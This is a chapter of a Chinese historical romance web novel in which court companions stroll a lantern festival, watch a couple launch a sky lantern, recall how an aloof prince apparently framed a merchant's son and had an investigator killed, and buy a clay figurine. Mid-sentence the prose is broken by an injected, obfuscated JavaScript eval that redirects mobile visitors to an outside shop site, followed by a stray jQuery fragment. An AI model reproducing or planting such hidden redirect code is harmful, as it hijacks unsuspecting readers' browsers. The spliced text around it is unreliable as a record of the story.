31. 春灯节4
    河边的风轻柔湿润,像是故人的轻抚,两人漫无目的,不知不觉就踱到了河边。

    百无聊赖之际,俊朗的绿袍青年下意识地抬头一看,却瞥见两个熟悉的身影。

    眼里闪过细碎的笑意,他隽秀的侧脸恰好被路人的灯火打上一层温暖的光,变得格外柔和,像是看到了什么此生难忘的场景,他心有所动地道:“愿得年年,欢娱依旧。”

    声音比往常真情实意了不少,并不像以前一样自持,掩藏内心的所有情绪。

    李自安动作微微一滞,闻言也抬眸往桥上看去,毕竟自家侍读什么脾性他很清楚,很少这般真情流露不加掩饰。

    桥上有两个身影,即使是在熙来攘往的人潮中也显得格外引人注目。首先惹人注意的是那一抹鲜艳的红,像是春日的爆竹一般艳丽。身着醒目红袍的俊逸男子俯身小心翼翼地抬着一盏天灯,神色张扬却并不狂妄,他的身形称得上挺拔却算不得壮硕,看起来只比手无缚鸡之力的书生多几分力气,不过无端让人觉得在他身边很踏实。

    不过目光并不会在红衣青年身上停留太久,很快就会被他身旁所站着的少女吸引。那是一个穿着精细讲究的少女,朱唇黛眉,明眸皓齿。垂鬟分肖髻上只随意地插了四蝶穿花碧钿,并上一支桃花流苏钗,却已经足以叫人移不开眼。华服微动,她伸出纤纤玉手,点燃了天灯下方的油料。火光脩然燃起,她的眼中也随即映起火光,笑靥如花。

    剑眉星目的红袍青年盯着少女的璀璨笑颜,也不由染上几分笑意,锋利的脸庞也跟着柔和起来。

    “真是……此景只应天上有。”李自安也由衷地发出一声喟叹。

    “不过,”李自安目光流转,从遥远的天灯看向眼前的俊朗秀气的绿袍青年,微微有些好奇地道,“昭宁好不容易归家团圆,却同定川一同出门游玩,也不见带几个侍卫保护左右,恭亲王府放心吗?”

    绿袍青年的视线在桥上往来的人当中来回穿梭,听见身旁人的声音才定住了,不疾不徐地答道:“正是昭宁好久才能回府一次,王妃估计才心疼地让昭宁多看看民间风俗。侍卫若是在主子身边贴身保护,也怕他们饶了他们的兴致,估计都躲在暗处。”

    “更何况……”易殊的目光远远越过桥上二人的身后,声音稍稍等顿了一下,才继续道,“这里还有一个熟人呢。”

    李自安心有灵犀般地抬眼望过去,却见一个身着玄衣,五官深邃的年轻男子。玄袍青年眉头微微皱着,眉心是化不开的郁结之气。

    “李禛?”李自安喃喃出声,语气里有几分意外。那个孤孤单单的身影与桥上其乐融融的情景相比显得格外落寞,连他身旁小厮提的灯都像比旁人的黯淡几分。

    李自安目光看向李禛,抬手一丝不苟地理了理袖口,问道:“李禛约不到人陪他逛灯会吗?怎么一个人?”

    “估计想约的人已经被别人约走了。”易殊意味深长地道。

    想约的人?李自安的目光在阴郁的玄袍青年和天灯旁的明艳少女身上来回徘徊了几轮,轻轻笑出了声:“怎么可能,李禛莫非还离不开自家妹妹?”

    “不受疼爱的长子为什么会在举家欢庆的日子偷偷护佑夺走父爱的妹妹?”分明是问句,但是易殊却说得很笃定。

    李自安轻轻笑道:“倾之,亲情真的很伟大也说不定呢,血浓于水啊。”

    易殊一眨不眨地盯着身旁人的眼睛,状似毫不在意地问道:“李禛真是恭亲王亲生的吗?”

    “恭亲王不疼爱李禛确有其事,”李自安语气慢慢变得认真,“但是李禛一定是恭亲王亲生的。”

    他倒也明白自家侍读为什么这么厌恶李禛。毕竟李禛待人分明,对待自己人以外都冷漠薄情。喜欢他的人跟随他忠心耿耿,但是在他对立面的人可都是提心吊胆,对他毫无信任。

    恭亲王就算再怎么同李禛不亲近,李禛也毕竟是王府的嫡长子,他攒下了不少钱。前几年他准备在汴京城一个上好的位置开一间成衣铺。怎料有个南边来的大商贾也看上了那个风水宝地,别的不说什么,这个喻商贾就是钱多并且会来事儿。

    他先是恭恭敬敬地给李禛送了不少银子过去,想让李禛另择别处,但是他没想到的是李禛心安理得地收了银子却还是去竞价抢地。

    商贾生意做得大也不是没有缘故,他很懂人情世故。也没翻脸,依旧好声好色地加价,也不仗着钱多欺人,怎料突然就传出了他儿子强抢民女的事情。

    按理说这对于富甲一方的喻商贾来说也不是难事,毕竟有钱能使鬼推磨嘛。怎料他怎么贿赂官府这次都不成,一直拖到他儿子都在狱里被打得半死不活的时候,他这才想起李禛来,连忙把送钱到恭亲王府去,不过这种风口浪尖上,李禛怎么可能会收。左右也没别的办法,铺子这一天两天办下不来,他索性就放弃那块地了,银子准备留出来继续送给其他更大的官员好早日救儿子出来。

    结果刚刚放弃那块地不到两天,衙门就放人了,当众又打了三十个板子,商贾的儿子就被抬回了富商临时的住处。

    如果说故事到这里就结了也没什么,顶多算得上恶人自有恶人磨罢了。结果富商的儿子一回家就喊冤,说他只是在酒楼随便喝了几口酒,醒来就发现在一个他不熟悉的房间内,身上还趴着一个衣衫不整的妙龄女子,他还没开口说话呢就被官府带走了,连同富商通气的机会都没有。

    富商一合计,对啊,江南的美人儿也不在少数,自己孩子也没有必要这么猴急,就算再怎么喜欢那个姑娘,用钱砸回来当美妾不就行了嘛。

    他也不愿意吃下这个哑巴亏,虽然隐隐有猜测,但还是暗中出高价派人查到底是怎么回事。结果还没查到什么皮毛,接钱查案的江湖探子死状凄惨地死在了富商眼前。倒也不是什么离奇的死法,当时富商刚刚出门,查案的探子后脚就到富商面前了,只不过是直接从高楼一步到位的。

    场面血腥到看惯了生死的刘屠夫经过时都恶心得不想再去割猪肉,喻富商吓得当

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234283|151374||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    场呕了出来,地上黏糊糊地被他吐了一滩,等到缓过来了一点,他就连夜带着自己的家眷回了南边,发誓不再踏入汴京城。

    这种恶劣事件可马虎不得,官府认认真真彻夜查案查了好几天,也真的没有头绪。当时那个楼上很蹊跷,就是只有他一个人。

    不过分析这件事的既得利益者,也只能隐隐猜到是谁,但是没有证据,官府也不可能凭空捉人。只是恭恭敬敬地请李禛去衙门坐坐喝了几口茶就回来了。知府还特意拿出的上好的茶叶,生怕得罪了恭亲王。

    不过联系到易殊在明礼堂有一个月没看见李禛,一问才知道恭亲王无缘无故地关了李禛禁闭,心里才慢慢有了结论。不过这还只是因为当众死相太凄惨惊悚才闹大的事情,其他不为所知的还不知道多少呢。

    如此良夜,李自安并不想提及这些阴暗污秽的事情,更何况确实没有查出任何证据。他轻轻抬了抬下面,示意旁边的青袍青年:“那是何物?”

    易殊也回过神来,确实不该如此浪费良宵。

    他望向水边的铺子,朴素简易的小摊上面插着无数个色彩鲜艳的物件。

    “泥人,”易殊言简意赅,“精细度比不上宫中的瓷器,但是胜在殿下想要什么,他便可以捏什么。”

    “是么?”李自安眼睛一亮,很明显提起了兴趣。

    见到二人兴致昂扬地走来,老板搓了搓手,扬起笑容道:“二位客官要做些什么?”

    李自安扫视了一眼摊上生机勃勃的麒麟和栩栩如生的海棠花,低头稍稍思考了一下,一时小摊很安静,谁也没有先开口。

    老板看着面前英俊小生的纠结模样,笑着推荐道:“也可以照着公子们的样子捏。”

    李自安若有所思地笑了笑,然后温和地道:“可否捏一个神似我身旁这位公子的狐狸。”照着倾之做出的泥人虽然充满诱惑力,但是不能贴身放置倒也少了几分趣味。

    老板细细地端详了俊朗秀气的绿袍青年的眉眼,狐疑地道:“青色的狐狸倒是不常见。”

    “神似即可。”李自安轻笑着解释道。

    老板捏了多年的泥人,得了指令就开始专心致志地埋头捏泥,李自安正一脸好奇地盯着师傅手上的动作,便听见身旁传来自家侍读故作幽怨的声音:“殿下,倾之才不是狐狸。”

    “狐狸是聪慧之物,还通灵性,这是夸耀倾之。”狐狸还是两个人关系缓和的缘由,虽然过程不尽人意。李自安弯了弯狭长的丹凤眼,扬唇一笑,显得周围万物都黯淡下来了。

    “不好,若是非得用物拟,也应该是荷花。”易殊没有被自家殿下好看的笑容迷惑,反驳道。

    他一边说着,一边取出与他雅致打扮格格不入的一张手帕,上面歪七扭八地绣着几条看不出是什么的线条。

    “倾之?”李自安猛然间看到那张手帕,狭长的丹凤眼微微增大,眼神划过一丝尴尬,然后又故作淡定地道,“如此不入流的东西,还是不要污了你的眼睛。”